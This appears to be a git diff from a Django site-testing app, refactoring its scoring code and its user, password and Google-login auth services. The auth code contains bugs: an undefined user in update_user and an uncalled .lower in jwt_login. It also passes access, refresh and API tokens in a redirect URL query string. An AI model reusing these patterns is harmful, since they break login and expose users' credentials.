         pre_scan_html_raw = requests.get(self.test.pre_scan.html).text
         post_scan_html_raw = requests.get(self.test.post_scan.html).text
         pre_scan_html = pre_scan_html_raw.splitlines()
         post_scan_html = post_scan_html_raw.splitlines()
 
+        # setting watch lists
         white_list = ['csrfmiddlewaretoken', '<!DOCTYPE html>',]
         tags = [
             '<head', '<script', '<div', '<p', '<h1', '<wbr', '<ul', '<tr', '<u', '<title', '<iframe',  
@@ -49,6 +76,8 @@ def clean_html(self):
             '</datalist', '</data', '</colgroup', '</col', '</code', '</cite', '</caption', '</canvas', '</button', '</body', '</blockquote',
             '</bdo', '</bdi', '</base', '</pre', '</b', '</br', '</audio', '</aside', '</article', '</area', '</address', '</abbr', '</a',
         ]
+
+        # clean pre_scan_html
         for line in pre_scan_html:
             for item in white_list:
                 if item in line:
@@ -60,6 +89,7 @@ def clean_html(self):
                 if sub not in tags:
                     self.pre_scan_html.append((sub+'>'))
         
+        # clean post_scan_html
         for line in post_scan_html:
             for item in white_list:
                 if item in line:
@@ -71,15 +101,21 @@ def clean_html(self):
                 if sub not in tags:
                     self.post_scan_html.append((sub+'>'))
 
-        return
+        return None
+
+
 
     
-    def clean_logs(self): 
+    def clean_logs(self) -> None:
+        # cleans both pre_ and post_ logs
+        # and prepares them for comparison
+         
+        # setting defaults
         pre_scan_logs_json = self.test.pre_scan.logs
         post_scan_logs_json = self.test.post_scan.logs
         order = ("level", "source", "message")
 
-
+        # cleaning pre_scan_logs
         for log in pre_scan_logs_json:
             new_log = {}
             for label in order:
@@ -88,7 +124,7 @@ def clean_logs(self):
                         new_log[label] = log.get(key)
             self.pre_scan_logs.append(json.dumps(new_log))
 
-
+        # cleaning post_scan_logs
         for log in post_scan_logs_json:
             new_log = {}
             for label in order:
@@ -97,58 +133,80 @@ def clean_logs(self):
                         new_log[label] = log.get(key)
             self.post_scan_logs.append(json.dumps(new_log))
 
-        return
+        return None
 
 
-    def compare_html(self):
+
+
+    def compare_html(self) -> float:
+        # calculates the similarity of pre and post html
+        # using SequenceMatcher()
+
+        # clean html first
         self.clean_html()
-        pre_scan = self.pre_scan_html
-        post_scan = self.post_scan_html
+        
+        # calculate score
         html_raw_score = SequenceMatcher(
-            None, pre_scan, post_scan
+            None, self.pre_scan_html, self.post_scan_html
         ).ratio()
 
+        # return score
         return html_raw_score
 
 
 
-    def compare_logs(self):
+
+    def compare_logs(self) -> float:
+        # calculates the similarity of pre and post logs
+        # using SequenceMatcher()
+
+        # clean logs first
         self.clean_logs()
-        pre_scan = list(self.pre_scan_logs)
-        post_scan = list(self.post_scan_logs)
+
+        # calculate score
         logs_raw_score = SequenceMatcher(
-            None, pre_scan, post_scan
+            None, self.pre_scan_logs, self.post_scan_logs
         ).ratio()
 
+        # return score
         return logs_raw_score
 
 
-    def delta_html(self):
+
+
+    def delta_html(self) -> dict:
+        # Calculates the macro difference in pre_ & post_ html
+        # (i.e. difference in html nodes <div></div>).
+        # also generates the micro differences 
+        # using self.post_proc_html()
+
+        # calculate macro difference 
         num_html_delta = len(self.pre_scan_html) - len(self.post_scan_html)
         num_html_ratio = len(self.pre_scan_html) / len(self.post_scan_html)
         if num_html_ratio > 1:
             num_html_ratio = len(self.post_scan_html) / len(self.pre_scan_html)
         
+        # building data for post_proc_html()
         for line in self.post_scan_html:
             if line not in self.pre_scan_html:
                 self.delta_html_post.append(line)
-
         for line in self.pre_scan_html:
             if line not in self.post_scan_html:
                 self.delta_html_pre.append(line)
 
-
+        # get pre_mciro_delta in html
         pre_micro_delta = self.post_proc_html(
             self.delta_html_pre, 
             self.delta_html_post
         )
 
+        # get post_mciro_delta in html
         post_micro_delta = self.post_proc_html(
             self.delta_html_post, 
             self.delta_html_pre
         )
             
-    
+        # formatting data
         data = {
             "num_html_delta": num_html_delta,
             "delta_html_post": self.delta_html_post,
@@ -158,10 +216,17 @@ def delta_html(self):
             "post_micro_delta": post_micro_delta,
         }
 
+        # return updated data
         return data
 
 
-    def post_proc_html(self, primary_list, secondary_list):
+
+
+    def post_proc_html(self, primary_list: list, secondary_list: list) -> dict:
+        # generates a list of 8 char long chunks that are in 
+        # the primary_list but not in the secondary_list
+
+        # setting defaults
         delta_parsed = []
         delta_parsed_diff = []
         secondary_str = ''.join(str(i) for i in secondary_list)
@@ -177,67 +242,89 @@ def post_proc_html(self, primary_list, secondary_list):
             if block != None and block != '' and block not in secondary_str:
                 delta_parsed_diff.append(block)
 
+        # formatting data
         data = {
             "delta_parsed": delta_parsed,
             "delta_parsed_diff": delta_parsed_diff,
         }
 
+        # returning updated data
         return data
 
 
 
 
-    def html_micro_diff_score(self, post_delta_parsed_diff):
+    def html_micro_diff_score(self, post_delta_parsed_diff: list) -> float:
+        # Calculates a score by comparing 
+        # post_delta_parsed_diff & pre_delta_parsed_diff
 
+        # building pre_delta_parsed_diff
         pre_delta_parsed_diff = []
         for line in self.pre_scan_html:
             subStrings = re.findall('.{1,8}', line)
             for sub in subStrings:
                 pre_delta_parsed_diff.append(sub)
-
+        
+        # calculate score
         diff_length = len(pre_delta_parsed_diff) - len(post_delta_parsed_diff)
         diff_score = diff_length / len(pre_delta_parsed_diff)
 
+        # return score
         return diff_score
 
     
 
     
-    def post_proc_logs(self, log):
+    def post_proc_logs(self, log: str) -> dict:
+        # cleaning logs for comparions 
+        # and convert to a dict
+
+        # clean message
         log = json.loads(log)
-        log["message"].replace("\"", "\'")        
-        letters = string.digits
-        timestamp = ''.join(random.choice(letters) for i in range(13))
+        log["message"].replace("\"", "\'") 
+
+        # generate random timestamp
+        nums = string.digits
+        timestamp = ''.join(random.choice(nums) for i in range(13))
         log['timestamp'] = timestamp
 
+        # return cleaned log
         return log
 
        
 
 
-    def delta_logs(self):
+    def delta_logs(self) -> dict:
+        # Calculates scores for log differences 
+        # and builds lists to show diffferences
+
+        # defaults
+        num_logs_ratio = 1
+        delta_logs_post = []
+        delta_logs_pre = []
+
+        # calc nums_log_delta (were there more in post_scan?)
         num_logs_delta = len(self.pre_scan_logs) - len(self.post_scan_logs)
 
+        # calculate ratio
         if len(self.post_scan_logs) > 0:
             num_logs_ratio = len(self.pre_scan_logs) / len(self.post_scan_logs)
             if num_logs_ratio > 1:
-                num_logs_ratio = 1
-        else:
-            num_logs_ratio = 1
+                num_logs_ratio = 1            
         
-        delta_logs_post = []
+        # build list of not present post_scan_logs
         for log in self.post_scan_logs:
             if log not in self.pre_scan_logs:
                 log = self.post_proc_logs(log)
                 delta_logs_post.append(log)
-
-
-        delta_logs_pre = []
+        
+        # build list of not present pre_scan_logs  
         for log in self.pre_scan_logs:
             if log not in self.post_scan_logs:
                 log = self.post_proc_logs(log)
                 delta_logs_pre.append(log)
 
+        # formatting data
         data = {
             "num_logs_delta": num_logs_delta,
             "delta_logs_post": delta_logs_post,
@@ -245,26 +332,32 @@ def delta_logs(self):
             "num_logs_ratio": num_logs_ratio,
         }
 
+        # returning data
         return data
 
 
 
 
+    def delta_lighthouse(self) -> dict:
+        # calculate the differences in LH 
+        # scores between pre_ and post_ scans
 
-    def delta_lighthouse(self):
         try:
+            # get pre scores
             pre_seo = int(self.test.pre_scan.lighthouse["scores"]['seo'])
             pre_accessibility = int(self.test.pre_scan.lighthouse["scores"]['accessibility'])
             pre_performance = int(self.test.pre_scan.lighthouse["scores"]['performance'])
             pre_best_practices = int(self.test.pre_scan.lighthouse["scores"]['best_practices'])
             pre_pwa = int(self.test.pre_scan.lighthouse["scores"]['pwa'])
             
+            # get post scores
             post_seo = int(self.test.post_scan.lighthouse["scores"]['seo'])
             post_accessibility = int(self.test.post_scan.lighthouse["scores"]['accessibility'])
             post_performance = int(self.test.post_scan.lighthouse["scores"]['performance'])
             post_best_practices = int(self.test.post_scan.lighthouse["scores"]['best_practices'])
             post_pwa = int(self.test.post_scan.lighthouse["scores"]['pwa'])
 
+            # try to get pre and post crux scores
             try:
                 pre_crux = int(self.test.pre_scan.lighthouse["scores"]['crux'])
                 post_crux = int(self.test.post_scan.lighthouse["scores"]['crux'])
@@ -274,34 +367,34 @@ def delta_lighthouse(self):
                 post_crux = None
                 crux_delta = 0
 
+            # calculate individual deltas
             seo_delta = post_seo - pre_seo
             accessibility_delta = post_accessibility - pre_accessibility 
             performance_delta = post_performance - pre_performance
             best_practices_delta = post_best_practices - pre_best_practices
             pwa_delta = post_pwa - pre_pwa
             
+            # calculate averages 
             if post_crux is None:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
                     post_performance + post_pwa 
                 )/5
-                
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
                     pre_performance + pre_pwa 
                 )/5
-            
             else:
                 current_average = (
                     post_seo + post_accessibility + post_best_practices + 
                     post_performance + post_pwa + post_crux
                 )/6
-                
                 old_average = (
                     pre_seo + pre_accessibility + pre_best_practices + 
                     pre_performance + pre_pwa + pre_crux
                 )/6
 
+            # calculate difference in averages
             average_delta = current_average - old_average 
 
         except:
@@ -314,6 +407,7 @@ def delta_lighthouse(self):
             current_average = None
             average_delta = None
 
+        # formatting data
         data = {
             "scores": {
                 "seo_delta": seo_delta,
@@ -327,15 +421,18 @@ def delta_lighthouse(self):
             }
         }
 
+        # returning data
         return data
 
 
 
 
+    def delta_yellowlab(self) -> dict:
+        # calculate the differences in YL 
+        # scores between pre_ and post_ scans
 
-
-    def delta_yellowlab(self):
         try:
+            # get pre scores
             pre_globalScore = int(self.test.pre_scan.yellowlab["scores"]['globalScore'])
             pre_pageWeight = int(self.test.pre_scan.yellowlab["scores"]['pageWeight'])
             pre_images = int(self.test.pre_scan.yellowlab["scores"]['images'])
@@ -347,7 +444,8 @@ def delta_yellowlab(self):
             pre_badCSS = int(self.test.pre_scan.yellowlab["scores"]['badCSS'])
             pre_fonts = int(self.test.pre_scan.yellowlab["scores"]['fonts'])
             pre_serverConfig = int(self.test.pre_scan.yellowlab["scores"]['serverConfig'])
-
+            
+            # get post scores
             post_globalScore = int(self.test.post_scan.yellowlab["scores"]['globalScore'])
             post_pageWeight = int(self.test.post_scan.yellowlab["scores"]['pageWeight'])
             post_images = int(self.test.post_scan.yellowlab["scores"]['images'])
@@ -360,6 +458,7 @@ def delta_yellowlab(self):
             post_fonts = int(self.test.post_scan.yellowlab["scores"]['fonts'])
             post_serverConfig = int(self.test.post_scan.yellowlab["scores"]['serverConfig'])
 
+            # calculate individual deltas
             pageWeight_delta = post_pageWeight - pre_pageWeight
             images_delta = post_images - pre_images
             domComplexity_delta = post_domComplexity - pre_domComplexity
@@ -371,9 +470,10 @@ def delta_yellowlab(self):
             fonts_delta = post_fonts - pre_fonts
             serverConfig_delta = post_serverConfig - pre_serverConfig 
 
-            average_delta = post_globalScore - pre_globalScore 
+            # get current averag and calc average_delta
             current_average = post_globalScore
-
+            average_delta = post_globalScore - pre_globalScore 
+            
         except:
             pageWeight_delta = None
             images_delta = None
@@ -388,6 +488,7 @@ def delta_yellowlab(self):
             average_delta = None
             current_average = None,
 
+        # formatting response
         data = {
             "scores": {
                 "pageWeight_delta": pageWeight_delta, 
@@ -405,11 +506,17 @@ def delta_yellowlab(self):
             }
         }
 
+        # returning data
         return data
 
 
 
-    def update_site_info(self, test):
+
+    def update_site_info(self, test: object) -> object:
+        # updates associated Site with 
+        # new Test data
+
+        # get associated site
         site = test.site
 
         # get pages
@@ -426,31 +533,51 @@ def update_site_info(self, test):
         if len(tests) > 0:
             # calc site average of latest
             site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-
+            
+            # update site info
             site.info['latest_test']['id'] = str(test.id)
             site.info['latest_test']['time_created'] = str(test.time_created)
             site.info['latest_test']['time_completed'] = str(test.time_completed)
             site.info['latest_test']['score'] = site_avg_test_score
             site.save()
 
+        # returning updated site
         return site
 
 
 
-    def update_page_info(self, test):
+
+    def update_page_info(self, test: object) -> object:
+        # updates associated Page with 
+        # new Test data
+
+        # get page
         page = test.page
+
+        # update page info
         page.info['latest_test']['id'] = str(test.id)
         page.info['latest_test']['time_created'] = str(test.time_created)
         page.info['latest_test']['time_completed'] = str(test.time_completed)
         page.info['latest_test']['score'] = (round(test.score * 100) / 100)
         page.save()
 
+        # return updated page
         return page
-        
 
 
 
-    def run_test(self, index=None):
+
+    def run_test(self, index: int=None) -> object:
+        """ 
+        Runs all the test components specified in the `Test`
+        and returns the updated `Test`
+
+        Expects: {
+            'index': int
+        }
+
+        Returns -> `Test` object
+        """
 
         # update test obj with scan configs
         self.test.pre_scan_configs = self.test.pre_scan.configs
@@ -485,8 +612,7 @@ def run_test(self, index=None):
         yellowlab_data = None
         images_data = None
 
-
-
+        # testing html
         if 'html' in self.test.type or 'full' in self.test.type:
             try:
                 # scores
@@ -534,8 +660,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
         
-        
-
+        # testing logs
         if 'logs' in self.test.type or 'full' in self.test.type:
             try:
                 # scores
@@ -555,8 +680,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-
+        # testing LH
         if 'lighthouse' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
@@ -578,9 +702,7 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-        
-
+        # testing YL
         if 'yellowlab' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
@@ -602,13 +724,11 @@ def run_test(self, index=None):
             except Exception as e:
                 print(e)
 
-
-
-
+        # testing images
         if 'vrt' in self.test.type or 'full' in self.test.type:
             try:
                 # scores & data
-                images_data = Image().test(test=self.test, index=index)
+                images_data = Imager().test(test=self.test, index=index)
                 if images_data['average_score'] != None:
                     images_score = images_data['average_score'] / 100
 
@@ -617,15 +737,14 @@ def run_test(self, index=None):
             except Exception as e:
                     print(e)
         
-        
-
+        # calculating total weight
         total_w = (
             html_score_w + logs_score_w + num_html_w 
             + num_logs_w + delta_lh_w + micro_diff_w
             + images_w + delta_yl_w
         )
         
-        
+        # calculating final weighted average score
         score = ((
             (html_score * html_score_w) + 
             (logs_score * logs_score_w) + 
@@ -637,7 +756,6 @@ def run_test(self, index=None):
             (images_score * images_w)
         ) / total_w) * 100
 
-        
         print(
             "Formula was --> ((" + str(html_score*html_score_w) + " + " 
             + str(logs_score*logs_score_w) + " + " + str(num_logs_ratio*num_logs_w) + " + " 
@@ -646,7 +764,7 @@ def run_test(self, index=None):
             " + " + str(yellowlab_score*delta_yl_w) + ") / " + str(total_w) + ") * 100 ===> " + str(score)
         )
 
-
+        # updating test data
         self.test.time_completed = datetime.now()
         self.test.html_delta = html_delta_uri
         self.test.logs_delta = logs_delta_context
@@ -659,13 +777,13 @@ def run_test(self, index=None):
         self.test.component_scores['lighthouse'] = (lighthouse_score * 100)
         self.test.component_scores['yellowlab'] = (yellowlab_score * 100)
         self.test.component_scores['vrt'] = (images_score * 100)
-
-
         self.test.save()
 
+        # updating associated page and site
         self.update_page_info(self.test)
         self.update_site_info(self.test)
 
+        # returning updated test
         return self.test
 
 
@@ -673,4 +791,3 @@ def run_test(self, index=None):
 
 
 
-
diff --git a/app/api/utils/verify.py b/app/api/utils/verify.py
index e3f5294d..adfecd13 100644
--- a/app/api/utils/verify.py
+++ b/app/api/utils/verify.py
@@ -1,5 +1,10 @@
 import os, requests, json
 
+
+
+
+
+
 def verify():
     username = os.environ.get('ADMIN_USER')
     email = os.environ.get('ADMIN_EMAIL')
diff --git a/app/api/utils/wordpress.py b/app/api/utils/wordpress.py
index ea45ef3a..d3821cbb 100644
--- a/app/api/utils/wordpress.py
+++ b/app/api/utils/wordpress.py
@@ -11,7 +11,6 @@
 
 
 
-
 class Wordpress():
 
 
diff --git a/app/api/utils/wordpress_p.py b/app/api/utils/wordpress_p.py
index 1c2632e2..b2a2a68d 100644
--- a/app/api/utils/wordpress_p.py
+++ b/app/api/utils/wordpress_p.py
@@ -9,7 +9,6 @@
 
 
 
-
 class Wordpress():
 
 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 3fb43b37..7270f523 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,13 +1,19 @@
-import subprocess, json, uuid, boto3, \
-shutil, os, requests, time
+import subprocess, json, uuid, boto3, os, requests, time
 from ..models import Site, Scan
 from scanerr import settings
 
 
 
+
+
+
 class Yellowlab():
 
-    """Initializes Yellow Lab Tools CLI and runs an audit of the site"""
+    """
+    Initializes Yellow Lab Tools CLI and runs an audit of the site
+
+    Use self.get_data() to init a run
+    """
 
 
     def __init__(self, scan=None, configs=None):
diff --git a/app/api/v1/auth/alerts.py b/app/api/v1/auth/alerts.py
deleted file mode 100644
index 5acaef68..00000000
--- a/app/api/v1/auth/alerts.py
+++ /dev/null
@@ -1,142 +0,0 @@
-from django.core.mail import send_mail, send_mass_mail
-from django.contrib.auth.models import User
-from django.template.loader import render_to_string
-from datetime import date
-import os, operator
-from ...models import *
-from django.utils.html import strip_tags
-from django.contrib.auth.models import User
-from rest_framework_simplejwt.tokens import RefreshToken
-from rest_framework.response import Response
-from ...utils.alerts import sendgrid_email
-from scanerr import settings
-
-
-
-
-def send_reset_link(email):
-    if User.objects.filter(email=email).exists():
-        user = User.objects.get(email=email)
-        token = RefreshToken.for_user(user)
-        access_token = str(token.access_token)
-        reset_link = str(os.environ.get('CLIENT_URL_ROOT') + '/reset-password?token='+access_token)
-        subject = 'Rest Password'
-        title = 'Reset Password'
-        pre_header = 'Reset Password'
-        pre_content = 'Click the link below to reset your password.'
-        greeting = f'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting': greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : reset_link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'Rest my password',
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-
-        sendgrid_email(message_obj=context)
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
-
-
-
-
-
-
-
-def send_invite_link(member):
-    if Member.objects.filter(email=member.email, status="pending").exists():
-        member = Member.objects.get(id=member.id)
-        link = f'{os.environ.get("CLIENT_URL_ROOT")}/account/join?team={member.account.id}&code={member.account.code}&member={member.id}&email={member.email}'
-        subject = 'Scanerr Invite'
-        title = 'Scanerr Invite'
-        pre_header = 'Scanerr Invite'
-        pre_content = f'A user with the email "{member.account.user.username}" invited you to join their Team on Scanerr. Now just click the link below to accept the invite!'
-        greeting = 'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting': greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': member.email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : link,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'button_text' : 'Accept Invite',
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-        
-        sendgrid_email(message_obj=context)
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
-
-
-
-
-
-def send_remove_alert(member):
-    if Member.objects.filter(email=member.email, status="removed").exists():
-        member = Member.objects.get(id=member.id)
-        subject = 'Removed From Account'
-        title = 'Removed From Account'
-        pre_header = 'Removed From Account'
-        pre_content = f'A user with the email "{member.account.user.username}" removed you from their Team on Scanerr. Please let us know if there\'s been a mistake.'
-        greeting = 'Hi there,'
-
-        subject = subject
-        context = {
-            'greeting' : greeting,
-            'title' : title,
-            'subject' : subject,
-            'email': member.email,
-            'pre_header' : pre_header,
-            'pre_content' : pre_content,
-            'object_url' : None,
-            'home_page' : os.environ.get('CLIENT_URL_ROOT'),
-            'content' : '',
-            'signature' : '- Cheers!',
-        }
-
-        sendgrid_email(message_obj=context)
-
-        # delete member obj
-        member.delete()
-
-        data = {
-            'success': True
-        }
-    
-    else:
-        data = {
-            'success': False
-        }
-        
-    return data
\ No newline at end of file
diff --git a/app/api/v1/auth/serializers.py b/app/api/v1/auth/serializers.py
index 091b0449..58617019 100644
--- a/app/api/v1/auth/serializers.py
+++ b/app/api/v1/auth/serializers.py
@@ -10,6 +10,11 @@
 from rest_framework import routers, serializers, viewsets
 from rest_framework.fields import UUIDField
 
+
+
+
+
+
 kwargs = {
     'allow_null': False, 
     'read_only': True, 
@@ -18,6 +23,7 @@
 
 
 
+
 class UserSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = User
@@ -26,6 +32,7 @@ class Meta:
 
 
 
+
 class LoginSerializer(TokenObtainPairSerializer):
 
     def validate(self, attrs):
@@ -45,6 +52,8 @@ def validate(self, attrs):
         return data
 
 
+
+
 class RegisterSerializer(UserSerializer):
     password = serializers.CharField(max_length=128, min_length=8, write_only=True, required=True)
     email = serializers.EmailField(required=True, write_only=True, max_length=128)
@@ -63,6 +72,7 @@ def create(self, validated_data):
 
 
 
+
 class AccountSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -77,6 +87,7 @@ class Meta:
 
 
 
+
 class MemberSerializer(serializers.HyperlinkedModelSerializer):
     user = serializers.ReadOnlyField(source='user.username')
     account = serializers.PrimaryKeyRelatedField(source='account.id', **kwargs)
@@ -89,4 +100,5 @@ class Meta:
         ]
 
 
-        
\ No newline at end of file
+
+
diff --git a/app/api/v1/auth/services.py b/app/api/v1/auth/services.py
index 8be07818..e118ead7 100644
--- a/app/api/v1/auth/services.py
+++ b/app/api/v1/auth/services.py
@@ -1,27 +1,29 @@
-import requests, os, subprocess, secrets
-from typing import Dict, Any
-from scanerr import settings
-from django.http import HttpResponse
-from django.db import transaction
-from rest_framework import status, serializers
-from rest_framework_simplejwt.tokens import RefreshToken
+
+
 from django.core.exceptions import ValidationError
-from django.forms.models import model_to_dict
 from django.contrib.auth.models import User
+from django.contrib.auth.middleware import get_user
+from django.contrib.auth.password_validation import validate_password
 from django.shortcuts import get_object_or_404
 from rest_framework.authtoken.models import Token
-from ...models import Account, Card, Member, Site
-from ..ops.services import record_api_call
+from rest_framework.response import Response
+from rest_framework.pagination import LimitOffsetPagination
+from rest_framework import status, serializers
+from rest_framework_simplejwt.tokens import RefreshToken
 from slack_sdk.oauth import AuthorizeUrlGenerator
 from slack_sdk.oauth.installation_store import FileInstallationStore, Installation
 from slack_sdk.oauth.state_store import FileOAuthStateStore
 from slack_sdk.web import WebClient
+from ...models import Account, Card, Member, Site
+from ..ops.services import record_api_call
 from .serializers import *
-from .alerts import *
+from ...utils.alerts import send_reset_link
 from ...tasks import send_invite_link_bg, send_remove_alert_bg
-from rest_framework.response import Response
-from rest_framework.pagination import LimitOffsetPagination
-from django.contrib.auth.middleware import get_user
+from scanerr import settings
+import requests, os, subprocess, secrets
+
+
+
 
 
 
@@ -30,108 +32,342 @@
 GOOGLE_USER_INFO_URL = 'https://www.googleapis.com/oauth2/v3/userinfo'
 
 
-def jwt_login(*, user: User):
-    refresh = RefreshToken.for_user(user)
-    access = str(refresh.access_token)
-    refresh = str(refresh)
+
+
+### ------ Begin User Services ------ ###
+
+
+
+
+def register_user(request: object) -> object: 
+    """ 
+    Creates a User object and returns a request 
+
+    Expects the following:
+        'email'      : str,
+        'password'   : str,
+        'first_name' : str,
+        'last_name'  : str,
+
+    Returns -> data: {
+        'user'      : dict,
+        'token'    : str,
+        'refresh'   : str,
+        'api_token' : str
+    }
+    """
+
+    # get data
+    password = request.data.get('password')
+    username = request.data.get('username')
+    first_name = request.data.get('first_name')
+    last_name = request.data.get('last_name')
+
+    # validate requests
+    if (password is None or len(password) == 0) or \
+        (username is None or len(username) == 0):
+        data = {'detail': 'Must provide an email and password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
+
+    if User.objects.filter(username=username).exists():
+        data = {'detail': 'Account already exists.'}
+        return Response(data=data, status=status.HTTP_409_CONFLICT)
     
-    if Token.objects.filter(user=user).exists():
-        api_token = Token.objects.get(user=user)
-    else:
+    # validate password and create user
+    if validate_password(password) == None:
+            
+        # create user
+        user = User.objects.create(
+            username=username,
+            email=username,
+            first_name=first_name,
+            last_name=last_name
+        )
+
+        # setting password
+        user.set_password(raw_password=password)
+        user.save()
+        
+        # generating JWTs
+        refresh = RefreshToken.for_user(user)
+
+        # generate API token
         api_token = Token.objects.create(user=user)
+        
+        # returning data
+        data = {
+            'user': UserSerializer(user).data,
+            'token': str(refresh.access_token),
+            'refresh': str(refresh),
+            'api_token': str(api_token.key)
+        }
+        return Response(data=data, status=status.HTTP_201_CREATED)
 
-    if user.is_active == True:
-        is_active = 'true'
     else:
-        is_acive = 'false'
+        data = {'detail': 'Please choose a stronger password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
 
-    param_string = str(
-        '?access='+access+'&refresh='+refresh+
-        '&username='+user.username+'&id='+str(user.id)+
-        '&email='+user.email+'&is_active='+is_active+
-        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
-        '&api_token='+str(api_token.key)
-    )
 
-    lead_string = str(settings.CLIENT_URL_ROOT+'/google-confirm')
+
+
+def login_user(request: object) -> object: 
+    """ 
+    Creates a User object and returns a request 
+
+    Expects the following:
+        'email'    : str,
+        'password' : str
+
+    Returns -> data: {
+        'user'      : dict,
+        'token'    : str,
+        'refresh'   : str,
+        'api_token' : str
+    }
+    """
+
+    # get data
+    password = request.data.get('password')
+    username = request.data.get('username')
+
+    # validate requests
+    if (password is None or len(password) == 0) or \
+        (username is None or len(username) == 0):
+        data = {'detail': 'Must provide an email and password.'}
+        return Response(data=data, status=status.HTTP_400_BAD_REQUEST)
+
+    # setting defalt response
+    data = {'detail': 'No account found with the given credentials.'}
+
+    # checking is User exists via provided username
+    if User.objects.filter(username=username).exists():
+
+        # retrieving User obj
+        user = User.objects.get(username=username)
+
+        # validating password
+        if user.check_password(password):
+
+            # generating JWTs
+            refresh = RefreshToken.for_user(user)
+
+            # get API token
+            api_token = Token.objects.get(user=user)
+            
+            # returning data
+            data = {
+                'user': UserSerializer(user).data,
+                'token': str(refresh.access_token),
+                'refresh': str(refresh),
+                'api_token': str(api_token.key)
+            }
+            return Response(data=data, status=status.HTTP_201_CREATED)
+
+        else:
+            return Response(data=data, status=status.HTTP_401_UNAUTHORIZED)
+    else:
+        return Response(data=data, status=status.HTTP_401_UNAUTHORIZED)
+
+
+
+
+def update_user(request: object) -> object:
+    """ 
+    Updates the User with the passed "email".
+
+    Expects: {
+        'request': object
+    }    
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    email = request.data.get('email')
+
+    # check if an email is already associated with a user
+    if User.objects.filter(email=email).exists():
+        return Response(status=status.HTTP_417_EXPECTATION_FAILED)
     
-    redirect_url = lead_string + param_string
+    # update user email
+    user.username = email
+    user.email = email
+    user.save()
 
-    return redirect_url
+    # serialize and return
+    data = UserSerializer(user).data
+    return Response(data, status=status.HTTP_200_OK)
 
 
 
 
-def user_create(email, password=None, **extra_fields) -> User:
-    extra_fields = {
-        'is_staff': False,
-        'is_superuser': False,
-        **extra_fields
+def update_password(request: object) -> object:
+    """ 
+    Updates the User with the passed "password".
+
+    Expects: {
+        'request': object
+    }    
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
+    password = request.data.get('password')
+    user = request.user 
+
+    try:
+        # validate password
+        if validate_password(password, user=user) == None:
+
+            # udpdate password
+            user.set_password(password)
+            user.save()
+
+            # return success
+            return Response(status=status.HTTP_200_OK)
+    
+    except:
+        # respond with error
+        return Response(status=status.HTTP_417_EXPECTATION_FAILED) 
+
+
+
+
+def send_reset_email(request: object) -> object:
+    """ 
+    Sends a password reset email to the 
+    User that matches the passed "email".
+
+    Expects: {
+        'request': object
     }
 
-    user = User.objects.create(
-        username=email, 
-        email=email, 
-        **extra_fields
-    )
+    Returns -> HTTP Response object
+    """
 
-    # creating API token
-    Token.objects.create(user=user)
+    # get request data
+    email = request.data.get('email')
 
-    user.set_unusable_password()
-    user.full_clean()
-    user.save()
+    # send 
+    resp = send_reset_link(email)
+    
+    if resp.get('success') == True:
+        return Response(status=status.HTTP_200_OK)
+    
+    return Response(status=status.HTTP_404_NOT_FOUND)
 
-    return user
 
 
 
-def create_user_token(request):
-    # creating New API token
-    if Token.objects.filter(user=request.user).exists():
-        old_token = Token.objects.get(user=request.user)
-        old_token.delete()
+### ------ Begin GoogleAuth Services ------ ###
+
+
+
+
+def jwt_login(*, user: object) -> str:
+    """
+    Gets JWTs for passed "user" and builds a 
+    redirect url for returning user params back to 
+    Scanerr.client
     
-    api_token = Token.objects.create(user=request.user)
-    data = {'api_token': api_token.key,}
-    return Response(data, status=status.HTTP_200_OK)
+    Expect: {
+        'user': object
+    }
 
+    Returns -> str
+    """
+
+    # get JWTs for user
+    refresh = RefreshToken.for_user(user)
+    access = str(refresh.access_token)
+    refresh = str(refresh)
+    
+    # create API token if none exists
+    if not Token.objects.filter(user=user).exists():
+        Token.objects.create(user=user)
+
+    # get API token
+    api_token = Token.objects.get(user=user)
+        
+    # setting user active
+    is_active = str(user.is_active).lower
 
+    # building params for redirect
+    param_string = str(
+        '?access='+access+'&refresh='+refresh+
+        '&username='+user.username+'&id='+str(user.id)+
+        '&email='+user.email+'&is_active='+is_active+
+        '&created='+str(user.date_joined)+'&updated='+str(user.last_login)+
+        '&api_token='+str(api_token.key)
+    )
+
+    # build redirect url
+    redirect_url = f'{settings.CLIENT_URL_ROOT}/google-confirm{param_string}'
+
+    # return redirect
+    return redirect_url
 
 
-def user_get_or_create(*, email: str, **extra_data):
+
+
+def get_or_create_user(email: str,  **extra_fields) -> object:
+    """ 
+    Creates a new `User` with the passed "email".
+    
+    Expects: {
+        'email' : str, 
+    }
+
+    Returns -> User object 
+    """
+
+    # trying to find user
     user = User.objects.filter(email=email).first()
 
+    # return user if found
     if user:
         return user
 
